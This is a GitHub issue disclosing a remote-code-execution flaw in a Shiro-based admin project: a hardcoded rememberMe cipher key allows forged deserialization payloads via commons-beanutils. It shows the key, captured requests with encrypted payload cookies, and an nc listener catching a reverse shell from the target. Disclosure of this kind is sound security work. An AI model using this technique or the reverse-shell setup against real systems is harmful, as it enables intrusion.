

New issue

[Jump to bottom](#)

There is a deserialization vulnerability that can cause RCE #16

Open altEr1125 opened this issue on Jul 11 · 0 comments

altEr1125 commented on Jul 11

The author sets a fixed key in the com.kalvin.kvf.common.shiro.ShiroConfig file and uses this key to encrypt the rememberMe parameter in the cookie. This situation can cause a deserialization attack with very serious consequences.

```
89 @ private CookieRememberMeManager rememberMeManager() {
90     CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();
91     cookieRememberMeManager.setCookie(rememberMeCookie());
92     cookieRememberMeManager.setCipherKey(Base64.decode( base64: "2AvYhdsgUs0FSA3SDFAadag=="));
93     return cookieRememberMeManager;
94 }
95
```

Set up a local environment for attacks. When the attacker logs in and selects remember me, the cookie will have the rememberMe field

 Request to http://localhost:80 [127.0.0.1]Forward Drop Intercept is on Action Open BrowserPretty Raw Hex ↔ ln ≡

```
1 GET / HTTP/1.1
2 Host: localhost
3 Cache-Control: max-age=0
4 sec-ch-ua: ".Not/A)Brand";v="99", "Google Chrome";v="103", "Chromium";v="103"
5 sec-ch-ua-mobile: ?0
6 sec-ch-ua-platform: "macOS"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
10 Sec-Fetch-Site: none
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: ?1
13 Sec-Fetch-Dest: document
14 Accept-Encoding: gzip, deflate
15 Accept-Language: zh-CN,zh;q=0.9
16 Cookie: _ga=GA1.1.1285032878.1649816195;ajs_anonymous_id=94e5cef8-d4bc-48c7-b9c9-614218943c64;
Hm_lvt_2e6da3c375c8a87f5b664cea6d4cb29c=1655304797,1655795043,1656655267,1657166843;_ga_3C9EJH4XRX=
GS1.1.1657290802.54.1.1657292894.0;remember-me=MXPUSANQRVaBJYtUuclUgmQ==;JSESSIONID=b45fa52f-4c55-43e6-8cb7-9c02d6447748;
rememberMe=
1twthQ4xoLEl4r3ffH6NSKt3sjexDQ9YBCvUNCiur8jT001NK9vgvp1p/p0mkBrexEShNcd+VepVx59pJrLM300Hszv8vcLUP9UL095bTXqhURcY8bkbwRls6nWsgtJxyaL
t4NfNBlnS2dfCct0EV38LaUJJquTx+ma0w4r0iPkm1aq/JZqdFuulWtLK6hFLC2zC+PZHsFZSbbX+TFPiUKSxbcqZmPipZk6ERQ0IHTUUSzFyAAGRmTIm42E5GPAEG6SMl
l3NZpstCFpURUKNvLBIZCeISEMRWq2K/YyMgi17XL8FNBVDFDM7ATWJkGAmEbKHXF/+DXLSnXLFJnmbkAHNOLJv2c3QcGgIdXwK0x4w4egiAeg2nxV3ork5HjcuC717FgH
N6oIUgmobg45C0X2m0q+voZ5Ta5tYCSWiTwPFR4r078lgN9hchBq1LC0BLmXBW7LN9R1o94PbPsK7JL5w0JhVL0xHsK5tdR/98ysfxL4EQELUGQ29TG0ZjYsfSSPT5NA8
8Ki7VdUlcZAfPl0VJQ070gUnzqSG45Yb110XBQ+NeCEpGTzp6VRVnJ70ARZZBsSCRW7vTN2T4ieJPC/a/ZLFKM8FH5HKckksY10j6jWz1j/Z0XVL+Dj0gcgfdFUXB3bmB1
pwz4RrHQsM6h+Yn7RuQvyyV5vgGYJvp5fMKpUQe8y5Ab3zjPiYkguSF2gRMCDARuTMgirkGRxPgVTNzDX0thiGX44/h1phoePLb5S/i1vdrs3VKAkqg4vbSY8PHIAymzZB
wuUKIBlniHi7ZJh9SVfQXJqJLjtdlhj48gPLY50a/iWBV32DI2GTuw6y+S2edXu7tdvndDJqwrLhUAMYkKKKQlt1QsuQm4bVSwfaf0B3NrCsDDEkecS+/JoeaxAhuprMVT
Juz2k0BtEAgvLK6yPybIVbCZAJ4uyE05ytMbKgCptWPqHjs1MIlo63Cq2AQxwV0iD9N3gtUtuqf4Hbw/bNyfrF7dwYngaMp7wfJ5BRQJz0pkqvysxsKjYKx0bdIm09/c9
Ad8UYqLyrXpAY6DECKuQVa81chdvJDstMhxjkfK4GYjXnwJM1Hf4EF4V0bwbKV0d5IrsjVeFz6iCadvm7GLEJY5g7j200fLN9s11+l6VClehETB10vzVayabXDl26vUT0s
RTHSkrVWuZ4cAjx0GnQNinkqqvQEB+EB7bbL8Ec43TogFQ0ger762VtQQGbr8AkxxwbGie0YKchj+PEgnku89XBG3aMiLH2ptPVPYXd/krVb09UtnnnsGLsLw5p91QhHKEF
n7MJ0QC0l11u036ngpUY3TY4G0cw0qTK1SmNWA6eg5zs5D+oxlmYj+lu6rLfbcdCc1u7FAnhrqG1c4vNyFphzdrC76+b+mI91s6leummELtq4oYHZKeIf5G4/VXoDjisOK
lm/dZaHCTIN0h1ImLu51SXUaPp4Y5jzKNec42Ecy3nPLDG+/1tx7qgDm/cUmUirffBgmhb1wMbSrtStQxnuFuaVaxgobjEQek3Yvb1ePU7jU6UPah7U3L5PCHg0TeP02Pj
JF+TwPI90KCGQAPfzGNA0zkbxA0ImrP
17 Connection: close
18
```

Blast the field and find that the encoded key is 2AvVhdsgUs0FSA3SDFAdag==, which is the same as the one set in the source code

After an audit, I found that the source code contains commons-beanutils-1.9.4.jar dependency, which is actually a dependency included in shiro.

Using this dependency, it is possible to generate a deserialized payload and then encrypt the payload using the key obtained by blasting.

Finally, write this payload after the rememberMe field and attack it. Successful RCE

Request

PrettyRawHex

1 GET / HTTP/1.1
2 Host: localhost
3 accept: */*
4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
5 Sec-Fetch-Site: cross-site
6 Sec-Fetch-Mode: cors
7 Sec-Fetch-Dest: empty
8 Accept-Encoding: gzip, deflate
9 Accept-Language: zh-CN,zh;q=0.9
10 Cookie: _ga=GA1.1.1285032878.1649816195; ajs_anonymous_id=94e5cef8-d4bc-48c7-b9c9-614218943c64; Hm_lvt_2e6da3c375c8a87f5b664cea6d4cb29c=1655304797,1655795043,1656655267,1657166843; _ga_3CYEJH4XR=GS1.1.1657290802.54.1.1657292894.0; remember-me=MXPUSANQRVaBJYtUucUgmQ==; rememberMe=RQGiYaUPy05x0sYsr6KmQ08GqJzNUDES1Y9Z2chd6LPWujLkkgkuCXeULX+TMvymQZS6qH1bMCFuhWypBbANGnMS53oc2hftJz/33DUrY04u+ING4ugR+EdV/ytgQ5mFqBwx5eH05fwJXAUFmFsnl/hBsZHG04txpwZsioJzfjDgnnIP1XK0Wib6B0gl2TGR3284Twx5uy3Kkx9La3Q6a2mH/LNidvIButQAwUG2EMRqLPTJWu27XxNvG5xMTWdbHfAIuTmRU9xzB2NVS/WnMy+BSmCF00tdbPtbi/qnPduz3X1FXqQXmXn+ZT1c35dvGgG/Z3TgdYiAC+qdBnG56YGWU90nZKPZLm3/MHBLp1puHsMq6H/S6Ud/n0/r6Q5Bfm98z6vpdcQl0IjZPh+Mtv6k16Gho116zhTNQ5QvUzEdi4wmKpJFHDa7cPlu+4CS/53ItXc/E3RRpLAj0zYlLK02o/SmN2T4txjBfqWF45qclqjEh74oeY2nUX+HzcfIr4ryL2kpbubmyZt8/UBrYBHp10evagVP5zWwyRcdBfRf+x2joQn02L2b54CtIlogn1mmPpKXDLRFxvD1tTfPrNmPgj+W3nMkNeiZL3sDjRBVAFr8pW8RgQMiwgEFnrqJugBtEnXrjinWS+YXkLQ0s3w7fF8nCgsplTDwYkmV0dLjbAeQLEdvmY1QIE6ahzHCXAA0ap05KfDfqKD+DkNp4YiGjToYrRxiHK5HjjUeLglMe73EBefUmMTypbFUFjyvjvAEWye8JUtwaf0D2CHy4qHnhB62crloqQD5VefuGZNB9ki9kAxt5FaGR1HGP7Ztsr3gG6ErlsA8Jh4K5CKwR8publSeBQNe2odoxJ7fjHGLAuP/6txTBKQnS0Rf3Ird5/ejltkaM7SdLbIGuSMDiBATZjnmr+Tdarl32h9sykvMvsLmi4d9C6ILSAyJb5ZtDXLjSerDDzPrdgFdyN90+LABK7n6HUYAdeI0uISQSur0yNvsnfLmtMKApISnCLMntgYNIpLNNCNLR6mLJOK4RYxRsqaS1L6IMojjbidDLMyf9twbsVw/PvhxTXHjex6tWAWLS9VQLMMeT0J4Z8FIhLjHm5gV5B4p+gRloeU2ffGtLiHfXjw8CcYBpIZFipJ1E0UH55xRprXsDx+WGIqWU1RIKLBZ7VM9KJ0Mpy+yn9PbVIAhEYMSoHRLYPuPtAt02W/yicJL1536Byf00KcToGWCiaQKLv1MHRHaXCKmo+rw+DQaaTex8JQ5/i+MufRJ7RuffV5hLKWbL6oN37ANs4gYmqU9RBB+sT/eIsEwFRKtGp0K1TpdeeEI+1QJVKmZuHBSbo4BYok2p1S/lyaeVnW3ctL94e2FNv6j0HlnUWsfuzynGBd/z/coUBpo6jZ5Hnf0dTDqhyICxXFu4jH00BWIE8XzaDtUdmubmwLP5+2wHTaDhdjstbrPH91bGj5FJ9zlrjbm+iYmNkuRc6Y/qJnHX7DdiRjbgMoIcucQ2L7VwPltHH/JHDpCfh+EJjL/XSiLiLy65Pg081t+Pt1MzFzGjJPrZ71sZZF5/mtDehvpN2wkfF8wITHpHRj/ynmOMJc5GK08oIM+YxV1tYG8H+d/kvUBC/JR09/69LXQw0uu+2P2WV6qL2L4m1xo1K65cZcfGKUN4Tbpu0nx20mqb51Nqcf9zHLVud3XG07v0RNF50ZF3m4H

Response

PrettyRawHexRender

1 HTTP/1.1 302
2 Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0;
Expires=Mon, 11-Jul-2022 02:12:33 GMT
3 Set-Cookie: JSESSIONID=856d452f-b20c-459e-a0b8-177df18df3bf;
Path=/; HttpOnly; SameSite=lax
4 Location: http://localhost/login
5 Content-Length: 0
6 Date: Tue, 12 Jul 2022 02:12:33 GMT
7 Connection: close

Inspector

Request Attributes

Request Query F

Request Body P

Request Cookies

Request Header

1 ubuntu@VM-16-10-ub...

Record

ubuntu@VM-16-10-ubuntu:~\$ sudo nc -lnvp 21
Listening on [0.0.0.0] (family 0, port 21)
Connection from 139.210.211.248 55219 received!
bash: no job control in this shell

The default interactive shell is now zsh.
To update your account to use zsh, please run `chsh -s /bin/zsh`.
For more details, please visit https://support.apple.com/kb/HT20805
bash-3.2\$ pwd
/kvf-admin-master
bash-3.2\$

Note that the JSESSIONID in the cookie field should be deleted, otherwise the system will make judgments directly based on the JSESSIONID.

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

